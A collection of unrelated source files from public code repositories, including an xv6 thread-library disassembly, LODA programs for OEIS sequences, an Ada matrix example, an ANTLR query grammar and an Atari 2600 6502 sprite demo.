2401: 8b 45 fc mov -0x4(%ebp),%eax
}
2404: c9 leave
2405: c3 ret
00002406 <lock_init>:
#include "x86.h"
#include "proc.h"
unsigned long rands = 1;
void lock_init(lock_t *lock){
2406: 55 push %ebp
2407: 89 e5 mov %esp,%ebp
lock->locked = 0;
2409: 8b 45 08 mov 0x8(%ebp),%eax
240c: c7 00 00 00 00 00 movl $0x0,(%eax)
}
2412: 5d pop %ebp
2413: c3 ret
00002414 <lock_acquire>:
void lock_acquire(lock_t *lock){
2414: 55 push %ebp
2415: 89 e5 mov %esp,%ebp
2417: 83 ec 08 sub $0x8,%esp
while(xchg(&lock->locked,1) != 0);
241a: 90 nop
241b: 8b 45 08 mov 0x8(%ebp),%eax
241e: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
2425: 00
2426: 89 04 24 mov %eax,(%esp)
2429: e8 be ff ff ff call 23ec <xchg>
242e: 85 c0 test %eax,%eax
2430: 75 e9 jne 241b <lock_acquire+0x7>
}
2432: c9 leave
2433: c3 ret
00002434 <lock_release>:
void lock_release(lock_t *lock){
2434: 55 push %ebp
2435: 89 e5 mov %esp,%ebp
2437: 83 ec 08 sub $0x8,%esp
xchg(&lock->locked,0);
243a: 8b 45 08 mov 0x8(%ebp),%eax
243d: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
2444: 00
2445: 89 04 24 mov %eax,(%esp)
2448: e8 9f ff ff ff call 23ec <xchg>
}
244d: c9 leave
244e: c3 ret
0000244f <thread_create>:
void *thread_create(void(*start_routine)(void*), void *arg){
244f: 55 push %ebp
2450: 89 e5 mov %esp,%ebp
2452: 83 ec 28 sub $0x28,%esp
int tid;
void * stack = malloc(2 * 4096);
2455: c7 04 24 00 20 00 00 movl $0x2000,(%esp)
245c: e8 a8 fe ff ff call 2309 <malloc>
2461: 89 45 f4 mov %eax,-0xc(%ebp)
void *garbage_stack = stack;
2464: 8b 45 f4 mov -0xc(%ebp),%eax
2467: 89 45 f0 mov %eax,-0x10(%ebp)
// printf(1,"start routine addr : %d\n",(uint)start_routine);
if((uint)stack % 4096){
246a: 8b 45 f4 mov -0xc(%ebp),%eax
246d: 25 ff 0f 00 00 and $0xfff,%eax
2472: 85 c0 test %eax,%eax
2474: 74 14 je 248a <thread_create+0x3b>
stack = stack + (4096 - (uint)stack % 4096);
2476: 8b 45 f4 mov -0xc(%ebp),%eax
2479: 25 ff 0f 00 00 and $0xfff,%eax
247e: 89 c2 mov %eax,%edx
2480: b8 00 10 00 00 mov $0x1000,%eax
2485: 29 d0 sub %edx,%eax
2487: 01 45 f4 add %eax,-0xc(%ebp)
}
if (stack == 0){
248a: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
248e: 75 1b jne 24ab <thread_create+0x5c>
printf(1,"malloc fail \n");
2490: c7 44 24 04 82 29 00 movl $0x2982,0x4(%esp)
2497: 00
2498: c7 04 24 01 00 00 00 movl $0x1,(%esp)
249f: e8 78 fb ff ff call 201c <printf>
return 0;
24a4: b8 00 00 00 00 mov $0x0,%eax
24a9: eb 6f jmp 251a <thread_create+0xcb>
}
tid = clone((uint)stack,PSIZE,(uint)start_routine,(int)arg);
24ab: 8b 4d 0c mov 0xc(%ebp),%ecx
24ae: 8b 55 08 mov 0x8(%ebp),%edx
24b1: 8b 45 f4 mov -0xc(%ebp),%eax
24b4: 89 4c 24 0c mov %ecx,0xc(%esp)
24b8: 89 54 24 08 mov %edx,0x8(%esp)
24bc: c7 44 24 04 00 10 00 movl $0x1000,0x4(%esp)
24c3: 00
24c4: 89 04 24 mov %eax,(%esp)
24c7: e8 48 fa ff ff call 1f14 <clone>
24cc: 89 45 ec mov %eax,-0x14(%ebp)
if(tid < 0){
24cf: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
24d3: 79 1b jns 24f0 <thread_create+0xa1>
printf(1,"clone fails\n");
24d5: c7 44 24 04 90 29 00 movl $0x2990,0x4(%esp)
24dc: 00
24dd: c7 04 24 01 00 00 00 movl $0x1,(%esp)
24e4: e8 33 fb ff ff call 201c <printf>
return 0;
24e9: b8 00 00 00 00 mov $0x0,%eax
24ee: eb 2a jmp 251a <thread_create+0xcb>
}
if(tid > 0){
24f0: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
24f4: 7e 05 jle 24fb <thread_create+0xac>
//store threads on thread table
return garbage_stack;
24f6: 8b 45 f0 mov -0x10(%ebp),%eax
24f9: eb 1f jmp 251a <thread_create+0xcb>
}
if(tid == 0){
24fb: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
24ff: 75 14 jne 2515 <thread_create+0xc6>
printf(1,"tid = 0 return \n");
2501: c7 44 24 04 9d 29 00 movl $0x299d,0x4(%esp)
2508: 00
2509: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2510: e8 07 fb ff ff call 201c <printf>
}
// wait();
// free(garbage_stack);
return 0;
2515: b8 00 00 00 00 mov $0x0,%eax
}
251a: c9 leave
251b: c3 ret
0000251c <random>:
// generate 0 -> max random number exclude max.
int random(int max){
251c: 55 push %ebp
251d: 89 e5 mov %esp,%ebp
rands = rands * 1664525 + 1013904233;
251f: a1 84 2e 00 00 mov 0x2e84,%eax
2524: 69 c0 0d 66 19 00 imul $0x19660d,%eax,%eax
252a: 05 69 f3 6e 3c add $0x3c6ef369,%eax
252f: a3 84 2e 00 00 mov %eax,0x2e84
return (int)(rands % max);
2534: a1 84 2e 00 00 mov 0x2e84,%eax
2539: 8b 4d 08 mov 0x8(%ebp),%ecx
253c: ba 00 00 00 00 mov $0x0,%edx
2541: f7 f1 div %ecx
2543: 89 d0 mov %edx,%eax
}
2545: 5d pop %ebp
2546: c3 ret
2547: 90 nop
00002548 <init_q>:
#include "queue.h"
#include "types.h"
#include "user.h"
void init_q(struct queue *q){
2548: 55 push %ebp
2549: 89 e5 mov %esp,%ebp
q->size = 0;
254b: 8b 45 08 mov 0x8(%ebp),%eax
254e: c7 00 00 00 00 00 movl $0x0,(%eax)
q->head = 0;
2554: 8b 45 08 mov 0x8(%ebp),%eax
2557: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
q->tail = 0;
255e: 8b 45 08 mov 0x8(%ebp),%eax
2561: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
}
2568: 5d pop %ebp
2569: c3 ret
0000256a <add_q>:
void add_q(struct queue *q, int v){
256a: 55 push %ebp
256b: 89 e5 mov %esp,%ebp
256d: 83 ec 28 sub $0x28,%esp
struct node * n = malloc(sizeof(struct node));
2570: c7 04 24 08 00 00 00 movl $0x8,(%esp)
2577: e8 8d fd ff ff call 2309 <malloc>
257c: 89 45 f4 mov %eax,-0xc(%ebp)
n->next = 0;
257f: 8b 45 f4 mov -0xc(%ebp),%eax
2582: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
n->value = v;
2589: 8b 45 f4 mov -0xc(%ebp),%eax
258c: 8b 55 0c mov 0xc(%ebp),%edx
258f: 89 10 mov %edx,(%eax)
if(q->head == 0){
2591: 8b 45 08 mov 0x8(%ebp),%eax
2594: 8b 40 04 mov 0x4(%eax),%eax
2597: 85 c0 test %eax,%eax
2599: 75 0b jne 25a6 <add_q+0x3c>
q->head = n;
259b: 8b 45 08 mov 0x8(%ebp),%eax
259e: 8b 55 f4 mov -0xc(%ebp),%edx
25a1: 89 50 04 mov %edx,0x4(%eax)
25a4: eb 0c jmp 25b2 <add_q+0x48>
}else{
q->tail->next = n;
25a6: 8b 45 08 mov 0x8(%ebp),%eax
25a9: 8b 40 08 mov 0x8(%eax),%eax
25ac: 8b 55 f4 mov -0xc(%ebp),%edx
25af: 89 50 04 mov %edx,0x4(%eax)
}
q->tail = n;
25b2: 8b 45 08 mov 0x8(%ebp),%eax
25b5: 8b 55 f4 mov -0xc(%ebp),%edx
25b8: 89 50 08 mov %edx,0x8(%eax)
q->size++;
25bb: 8b 45 08 mov 0x8(%ebp),%eax
25be: 8b 00 mov (%eax),%eax
25c0: 8d 50 01 lea 0x1(%eax),%edx
25c3: 8b 45 08 mov 0x8(%ebp),%eax
25c6: 89 10 mov %edx,(%eax)
}
25c8: c9 leave
25c9: c3 ret
000025ca <empty_q>:
int empty_q(struct queue *q){
25ca: 55 push %ebp
25cb: 89 e5 mov %esp,%ebp
if(q->size == 0)
25cd: 8b 45 08 mov 0x8(%ebp),%eax
25d0: 8b 00 mov (%eax),%eax
25d2: 85 c0 test %eax,%eax
25d4: 75 07 jne 25dd <empty_q+0x13>
return 1;
25d6: b8 01 00 00 00 mov $0x1,%eax
25db: eb 05 jmp 25e2 <empty_q+0x18>
else
return 0;
25dd: b8 00 00 00 00 mov $0x0,%eax
}
25e2: 5d pop %ebp
25e3: c3 ret
000025e4 <pop_q>:
int pop_q(struct queue *q){
25e4: 55 push %ebp
25e5: 89 e5 mov %esp,%ebp
25e7: 83 ec 28 sub $0x28,%esp
int val;
struct node *destroy;
if(!empty_q(q)){
25ea: 8b 45 08 mov 0x8(%ebp),%eax
25ed: 89 04 24 mov %eax,(%esp)
25f0: e8 d5 ff ff ff call 25ca <empty_q>
25f5: 85 c0 test %eax,%eax
25f7: 75 5d jne 2656 <pop_q+0x72>
val = q->head->value;
25f9: 8b 45 08 mov 0x8(%ebp),%eax
25fc: 8b 40 04 mov 0x4(%eax),%eax
25ff: 8b 00 mov (%eax),%eax
2601: 89 45 f4 mov %eax,-0xc(%ebp)
destroy = q->head;
2604: 8b 45 08 mov 0x8(%ebp),%eax
2607: 8b 40 04 mov 0x4(%eax),%eax
260a: 89 45 f0 mov %eax,-0x10(%ebp)
q->head = q->head->next;
260d: 8b 45 08 mov 0x8(%ebp),%eax
2610: 8b 40 04 mov 0x4(%eax),%eax
2613: 8b 50 04 mov 0x4(%eax),%edx
2616: 8b 45 08 mov 0x8(%ebp),%eax
2619: 89 50 04 mov %edx,0x4(%eax)
free(destroy);
261c: 8b 45 f0 mov -0x10(%ebp),%eax
261f: 89 04 24 mov %eax,(%esp)
2622: e8 a9 fb ff ff call 21d0 <free>
q->size--;
2627: 8b 45 08 mov 0x8(%ebp),%eax
262a: 8b 00 mov (%eax),%eax
262c: 8d 50 ff lea -0x1(%eax),%edx
262f: 8b 45 08 mov 0x8(%ebp),%eax
2632: 89 10 mov %edx,(%eax)
if(q->size == 0){
2634: 8b 45 08 mov 0x8(%ebp),%eax
2637: 8b 00 mov (%eax),%eax
2639: 85 c0 test %eax,%eax
263b: 75 14 jne 2651 <pop_q+0x6d>
q->head = 0;
263d: 8b 45 08 mov 0x8(%ebp),%eax
2640: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
q->tail = 0;
2647: 8b 45 08 mov 0x8(%ebp),%eax
264a: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
}
return val;
2651: 8b 45 f4 mov -0xc(%ebp),%eax
2654: eb 05 jmp 265b <pop_q+0x77>
}
return -1;
2656: b8 ff ff ff ff mov $0xffffffff,%eax
}
265b: c9 leave
265c: c3 ret
|
programs/oeis/013/A013835.asm
|
neoneye/loda
| 22
|
103833
|
<reponame>neoneye/loda
; A013835: a(n) = 5^(5*n + 2).
; 25,78125,244140625,762939453125,2384185791015625,7450580596923828125,23283064365386962890625,72759576141834259033203125,227373675443232059478759765625,710542735760100185871124267578125
mul $0,5
add $0,2
mov $1,5
pow $1,$0
mov $0,$1
|
daily-bear-note.scpt
|
derindutz/daily-bear-note
| 0
|
1804
|
<gh_stars>0
open location "bear://x-callback-url/create?title=" & date string of (current date) & "&text=* &tags=daily-notes"
|
oeis/001/A001053.asm
|
neoneye/loda-programs
| 11
|
7622
|
<filename>oeis/001/A001053.asm
; A001053: a(n+1) = n*a(n) + a(n-1) with a(0)=1, a(1)=0.
; Submitted by <NAME>(s1)
; 1,0,1,2,7,30,157,972,6961,56660,516901,5225670,57999271,701216922,9173819257,129134686520,1946194117057,31268240559432,533506283627401,9634381345852650,183586751854827751,3681369418442407670,77492344539145388821,1708512949279640961732,39373290177970887508657,946667477220580941169500,23706060220692494416746157,617304233215225435776569582,16690920357031779260384124871,467963074230105044726532065970,13587620073030078076329814038001,408096565265132447334620953206000
mov $3,1
lpb $0
sub $0,1
mov $2,$3
mul $3,$0
add $3,$1
mov $1,$2
lpe
mov $0,$3
|
Task/Reduced-row-echelon-form/Ada/reduced-row-echelon-form-3.ada
|
LaudateCorpus1/RosettaCodeData
| 1
|
6325
|
with Matrices;
with Ada.Text_IO;
procedure Main is
package Float_IO is new Ada.Text_IO.Float_IO (Float);
package Float_Matrices is new Matrices (
Element_Type => Float,
Zero => 0.0);
procedure Print_Matrix (Matrix : in Float_Matrices.Matrix) is
begin
for Row in Matrix'Range (1) loop
for Col in Matrix'Range (2) loop
Float_IO.Put (Matrix (Row, Col), 0, 0, 0);
Ada.Text_IO.Put (' ');
end loop;
Ada.Text_IO.New_Line;
end loop;
end Print_Matrix;
My_Matrix : Float_Matrices.Matrix :=
((1.0, 2.0, -1.0, -4.0),
(2.0, 3.0, -1.0, -11.0),
(-2.0, 0.0, -3.0, 22.0));
Reduced : Float_Matrices.Matrix :=
Float_Matrices.Reduced_Row_Echelon_form (My_Matrix);
begin
Print_Matrix (My_Matrix);
Ada.Text_IO.Put_Line ("reduced to:");
Print_Matrix (Reduced);
end Main;
|
oeis/097/A097297.asm
|
neoneye/loda-programs
| 11
|
83021
|
; A097297: Seventh column (m=6) of (1,6)-Pascal triangle A096956.
; Submitted by <NAME>(l1)
; 6,37,133,364,840,1722,3234,5676,9438,15015,23023,34216,49504,69972,96900,131784,176358,232617,302841,389620,495880,624910,780390,966420,1187550,1448811,1755747,2114448,2531584,3014440,3570952,4209744
mov $1,$0
add $0,5
bin $0,$1
add $1,36
mul $0,$1
div $0,6
|
core/src/main/java/com/dnt/itl/grammar/ITL.g4
|
deepnighttwo/inmem-transfer-language
| 5
|
5035
|
grammar ITL ;
import LiteralVars;
ql : select from (where)?;
select : SELECT propsSel (COMMA propsSel)*;
from : FROM fromSource=ID (AS fromAlias=ID)?;
where : WHERE boolExpr;
// prop part
propsSel : propVar (AS ID)?;
propVar : propFullName # DirectPropVar
| LPAREN propVar RPAREN # Parens
| propVar op=(MUL |DIV ) propVar # MulDiv
| propVar op=(ADD |SUB ) propVar # AddSub
| integerLiteral # IntVar
| FloatingPointLiteral # FloatVar
| CharacterLiteral # CharVar
| StringLiteral # StringVar
| booleanLiteral # BooleanVar
| NULL # NullVar
| MAP ON propFullName USING ID collectionAgg # MapFuncVar
| REDUCE ON propFullName USING ID collectionAgg # ReduceFuncVar
| ID LPAREN propVar? (COMMA propVar)* RPAREN # FuncVar
;
collectionAgg: LPAREN propVar? (COMMA propVar)* RPAREN ;
propFullName: propName (DOT propName)*;
propName : ID (LBRACK integerLiteral RBRACK)*
;
// bool part
boolExpr : propVar compareOpr=(EQUALS | BIGGER | SMALLER | BIGGEROREQ | SMALLEROREQ | NOTEQUAL) propVar # CompareBool
| NOT boolExpr # NotBool
| LPAREN boolExpr RPAREN # ParenBool
| boolExpr boolOprt=(AND|OR) boolExpr # ExprBool
;
integerLiteral
: HexLiteral
| OctalLiteral
| DecimalLiteral
;
booleanLiteral
: TRUE # TrueBool
| FALSE # FalseBool
;
//-----key words----
|
src/full/Agda/TypeChecking/Lock.agda
|
jappeace/agda
| 0
|
1845
|
<reponame>jappeace/agda<gh_stars>0
module Agda.TypeChecking.Lock where
|
alloy4fun_models/trainstlt/models/4/xE3tfX2Ard2QvxQwS.als
|
Kaixi26/org.alloytools.alloy
| 0
|
2955
|
<filename>alloy4fun_models/trainstlt/models/4/xE3tfX2Ard2QvxQwS.als<gh_stars>0
open main
pred idxE3tfX2Ard2QvxQwS_prop5 {
all t:Train| {
always (t.pos in Exit implies no t.pos')
always (t.pos in Track-Exit implies t.pos' in t.pos.prox )
}
}
pred __repair { idxE3tfX2Ard2QvxQwS_prop5 }
check __repair { idxE3tfX2Ard2QvxQwS_prop5 <=> prop5o }
|
oeis/174/A174333.asm
|
neoneye/loda-programs
| 11
|
18791
|
<gh_stars>10-100
; A174333: 61*n^2.
; 0,61,244,549,976,1525,2196,2989,3904,4941,6100,7381,8784,10309,11956,13725,15616,17629,19764,22021,24400,26901,29524,32269,35136,38125,41236,44469,47824,51301,54900,58621,62464,66429,70516,74725,79056,83509,88084,92781,97600,102541,107604,112789,118096,123525,129076,134749,140544,146461,152500,158661,164944,171349,177876,184525,191296,198189,205204,212341,219600,226981,234484,242109,249856,257725,265716,273829,282064,290421,298900,307501,316224,325069,334036,343125,352336,361669,371124,380701
pow $0,2
mul $0,61
|
source/amf/uml/amf-uml-extension_ends.ads
|
svn2github/matreshka
| 24
|
22607
|
<filename>source/amf/uml/amf-uml-extension_ends.ads
------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- Ada Modeling Framework --
-- --
-- Runtime Library Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2011-2012, <NAME> <<EMAIL>> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
-- This file is generated, don't edit it.
------------------------------------------------------------------------------
-- An extension end is used to tie an extension to a stereotype when
-- extending a metaclass.
--
-- The default multiplicity of an extension end is 0..1.
------------------------------------------------------------------------------
with AMF.UML.Properties;
limited with AMF.UML.Stereotypes;
package AMF.UML.Extension_Ends is
pragma Preelaborate;
type UML_Extension_End is limited interface
and AMF.UML.Properties.UML_Property;
type UML_Extension_End_Access is
access all UML_Extension_End'Class;
for UML_Extension_End_Access'Storage_Size use 0;
overriding function Get_Lower
(Self : not null access constant UML_Extension_End)
return AMF.Optional_Integer is abstract;
-- Getter of ExtensionEnd::lower.
--
-- This redefinition changes the default multiplicity of association ends,
-- since model elements are usually extended by 0 or 1 instance of the
-- extension stereotype.
overriding procedure Set_Lower
(Self : not null access UML_Extension_End;
To : AMF.Optional_Integer) is abstract;
-- Setter of ExtensionEnd::lower.
--
-- This redefinition changes the default multiplicity of association ends,
-- since model elements are usually extended by 0 or 1 instance of the
-- extension stereotype.
not overriding function Get_Type
(Self : not null access constant UML_Extension_End)
return AMF.UML.Stereotypes.UML_Stereotype_Access is abstract;
-- Getter of ExtensionEnd::type.
--
-- References the type of the ExtensionEnd. Note that this association
-- restricts the possible types of an ExtensionEnd to only be Stereotypes.
not overriding procedure Set_Type
(Self : not null access UML_Extension_End;
To : AMF.UML.Stereotypes.UML_Stereotype_Access) is abstract;
-- Setter of ExtensionEnd::type.
--
-- References the type of the ExtensionEnd. Note that this association
-- restricts the possible types of an ExtensionEnd to only be Stereotypes.
overriding function Lower_Bound
(Self : not null access constant UML_Extension_End)
return AMF.Optional_Integer is abstract;
-- Operation ExtensionEnd::lowerBound.
--
-- The query lowerBound() returns the lower bound of the multiplicity as
-- an Integer. This is a redefinition of the default lower bound, which
-- normally, for MultiplicityElements, evaluates to 1 if empty.
end AMF.UML.Extension_Ends;
|
doublesprite.asm
|
DChristianson/atari-vcs-samples
| 0
|
170211
|
; adapted from <NAME>'s bigmove.asm
; https://www.biglist.com/lists/stella/archives/199803/msg00201.html
; http://www.qotile.net/minidig/tricks.html
processor 6502
include vcs.h
; TIA (Stella) write-only registers
;
Vsync equ $00
Vblank equ $01
Wsync equ $02
Rsync equ $03
Nusiz0 equ $04
Nusiz1 equ $05
Colup0 equ $06
Colup1 equ $07
Colupf equ $08
Colubk equ $09
Ctrlpf equ $0A
Refp0 equ $0B
Refp1 equ $0C
Pf0 equ $0D
Pf1 equ $0E
Pf2 equ $0F
Resp0 equ $10
Resp1 equ $11
Resm0 equ $12
Resm1 equ $13
Resbl equ $14
Audc0 equ $15
Audc1 equ $16
Audf0 equ $17
Audf1 equ $18
Audv0 equ $19
Audv1 equ $1A
Grp0 equ $1B
Grp1 equ $1C
Enam0 equ $1D
Enam1 equ $1E
Enabl equ $1F
Hmp0 equ $20
Hmp1 equ $21
Hmm0 equ $22
Hmm1 equ $23
Hmbl equ $24
Vdelp0 equ $25
Vdelp1 equ $26
Vdelbl equ $27
Resmp0 equ $28
Resmp1 equ $29
Hmove equ $2A
Hmclr equ $2B
Cxclr equ $2C
;
; TIA (Stella) read-only registers
;
Cxm0p equ $00
Cxm1p equ $01
Cxp0fb equ $02
Cxp1fb equ $03
Cxm0fb equ $04
Cxm1fb equ $05
Cxblpf equ $06
Cxppmm equ $07
Inpt0 equ $08
Inpt1 equ $09
Inpt2 equ $0A
Inpt3 equ $0B
Inpt4 equ $0C
Inpt5 equ $0D
;
; RAM definitions
; Note: The system RAM maps in at 0080-00FF and also at 0180-01FF. It is
; used for variables and the system stack. The programmer must make sure
; the stack never grows so deep as to overwrite the variables.
;
RamStart equ $0080
RamEnd equ $00FF
StackBottom equ $00FF
StackTop equ $0080
;
; 6532 (RIOT) registers
;
Swcha equ $0280
Swacnt equ $0281
Swchb equ $0282
Swbcnt equ $0283
Intim equ $0284
Tim1t equ $0294
Tim8t equ $0295
Tim64t equ $0296
T1024t equ $0297
;
; ROM definitions
;
RomStart equ $F000
RomEnd equ $FFFF
IntVectors equ $FFFA
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
s1 EQU $80
s2 EQU $82
s3 EQU $84
s4 EQU $86
s5 EQU $88
s6 EQU $8A
DelayPTR EQU $8C
LoopCount EQU $8E
TopDelay EQU $8F
BottomDelay EQU $90
MoveCount EQU $91
Temp EQU $92
Frame EQU $93
s7 EQU $94
Dir EQU $96
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; Program initialization
;
ORG RomStart
Cart_Init:
SEI ; Disable interrupts.:
CLD ; Clear "decimal" mode.
LDX #$FF
TXS ; Clear the stack
Common_Init:
LDX #$28 ; Clear the TIA registers ($04-$2C)
LDA #$00
TIAClear:
STA $04,X
DEX
BPL TIAClear ; loop exits with X=$FF
LDX #$FF
RAMClear:
STA $00,X ; Clear the RAM ($FF-$80)
DEX
BMI RAMClear ; loop exits with X=$7F
LDX #$FF
TXS ; Reset the stack
IOClear:
STA Swbcnt ; console I/O always set to INPUT
STA Swacnt ; set controller I/O to INPUT
DemoInit: LDA #$01
STA VDELP0
STA VDELP1
LDA #$03
STA Nusiz0
STA Nusiz1
LDA #$36
STA COLUP0
STA COLUP1
LDA #$ff
STA s1+1
STA s2+1
STA s3+1
STA s4+1
STA s5+1
STA s6+1
STA s7+1
LDA #0
STA s1
LDA #24
STA s2
LDA #48
STA s3
LDA #72
STA s4
LDA #96
STA s5
LDA #120
STA s6
LDA #144
STA s7
LDA #0
STA TopDelay
STA MoveCount
STA Frame
STA Dir
LDA #179
STA BottomDelay
LDA #$f2
STA DelayPTR+1
LDA #$1d+36 ;?????
STA DelayPTR
STA Wsync
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
STA RESP0
STA RESP1
LDA #$50 ;?????
STA HMP1
LDA #$40 ;?????
STA HMP0
STA Wsync
STA HMOVE
STA Wsync
LDA #$04
STA COLUBK
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; Main program loop
;
NewScreen:
LDA #$02
STA Wsync ; Wait for horizontal sync
STA Vblank ; Turn on Vblank
STA Vsync ; Turn on Vsync
STA Wsync ; Leave Vsync on for 3 lines
STA Wsync
NewFrame:
LDA #16
BIT Frame
BEQ Frame1
Frame0:
LDA #0
STA s1
LDA #24
STA s2
LDA #48
STA s3
LDA #72
STA s4
LDA #96
STA s5
LDA #120
STA s6
LDA #144
JMP EndFrame
Frame1:
LDA #0
STA s4
LDA #24
STA s5
LDA #48
STA s6
LDA #72
STA s1
LDA #96
STA s2
LDA #120
STA s3
LDA #144
EndFrame:
LDA Dir
CMP #0
BEQ EF1
LDA s1
LDX s3
STA s3
STX s1
EF1:
STA Wsync
LDA #$00
STA Vsync ; Turn Vsync off
LDA #43 ; Vblank for 37 lines
; changed from 43 to 53 for 45 lines PAL
STA Tim64t ; 43*64intvls=2752=8256colclks=36.2lines
Joystick: LDA #$80
BIT SWCHA
BEQ Right
LSR
BIT SWCHA
BEQ Left
Joystick0:
LSR
BIT SWCHA
BEQ Down
LSR
BIT SWCHA
BEQ UP
JMP VblankLoop
UP:
INC Frame
LDA TopDelay
BEQ U1
DEC TopDelay
INC BottomDelay
U1: JMP VblankLoop
Down:
INC Frame
LDA BottomDelay
BEQ D1
INC TopDelay
DEC BottomDelay
D1: JMP VblankLoop
Right:
INC Frame
LDA #0
STA REFP0
STA REFP1
STA Dir
LDX MoveCount
INX
STX MoveCount
CPX #3
BNE R2
LDX DelayPTR
DEX
STX DelayPTR
CPX #$1c ;?????
BNE R1
LDA #$1d ;?????
STA DelayPTR
LDA #2
STA MoveCount
JMP Joystick0
R1: LDA #0
STA MoveCount
R2: LDA #$f0
STA HMP0
STA HMP1
STA Wsync
STA HMOVE
JMP Joystick0
Left:
INC Frame
LDA #8
STA REFP0
STA REFP1
STA Dir
LDX MoveCount
DEX
STX MoveCount
CPX #$ff
BNE L2
LDX DelayPTR
INX
STX DelayPTR
CPX #$1d+37 ;?????
BNE L1
LDA #$1d+36 ;#?????
STA DelayPTR
LDA #0
STA MoveCount
JMP Joystick0
L1: LDA #2
STA MoveCount
L2: LDA #$10
STA HMP0
STA HMP1
STA Wsync
STA HMOVE
JMP Joystick0
ORG $F200
VblankLoop:
LDA Intim
BNE VblankLoop ; wait for vblank timer
STA Wsync ; finish waiting for the current line
STA Vblank ; Turn off Vblank
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ScreenStart:
LDY TopDelay
INY ;?????
X1: STA Wsync
DEY ;2
BNE X1 ;2+1
LDY #4 ;????? ;2
X2: DEY ;2
BPL X2 ;2+1
LDA #23 ;2
STA LoopCount ;3
JMP (DelayPTR) ;5
JNDelay: byte $c9,$c9,$c9,$c9,$c9,$c9,$c9,$c9,$c9
byte $c9,$c9,$c9,$c9,$c9,$c9,$c9,$c9,$c9
byte $c9,$c9,$c9,$c9,$c9,$c9,$c9,$c9,$c9
byte $c9,$c9,$c9,$c9,$c9,$c9,$c9,$c9,$c9,$c9,$c5
NOP ;2
X3: NOP ;2 2
NOP ;2 4
NOP ;2 6
LDY LoopCount ;3 9
LDA (s1),Y ;5 14
STA GRP0 ;3 17
LDA (s2),Y ;5 22
STA GRP1 ;3 25
LDA (s3),Y ;5 30
STA GRP0 ;3 33
LDA (s3),Y ;5 35
STA Temp ;3 38
LDA (s2),Y ;5 43
TAX ;2 45
LDA (s1),Y ;5 50
LDY Temp ;3 53
STA GRP1 ;3 56
STX GRP0 ;3 59
STY GRP1 ;3 62
STA GRP0 ;3 65 ; -- useless?
DEC LoopCount ;5 70
BPL X3 ;2+1 72+1
LDA #0
STA GRP0
STA GRP1
STA GRP0
STA GRP1
NOP
NOP
NOP
NOP
NOP
NOP
NOP
LDY BottomDelay
INY ;?????
X4: STA Wsync
DEY
BNE X4
LDA #$02
STA Vblank
STA Wsync
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
OverscanStart: LDA #35 ;skip 30 lines (overscan)
STA Tim64t
OverscanLoop:
LDA Intim
BNE OverscanLoop ; wait for Overscan timer
STA Wsync ; finish waiting for the current line
JMP NewScreen
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ORG $FF00
Data:
byte $0,$1,$2,$4,$b,$e,$f,$1f,$1f,$1f,$3f,$7f,$df,$87,$1,$0,$1,$2,$1,$2,$4,$8,$0,$0; 24
byte $0,$0,$46,$81,$3,$6,$7e,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$f3,$fd,$f0,$f8,$3c,$1c,$1e,$c,$12,$12; 24
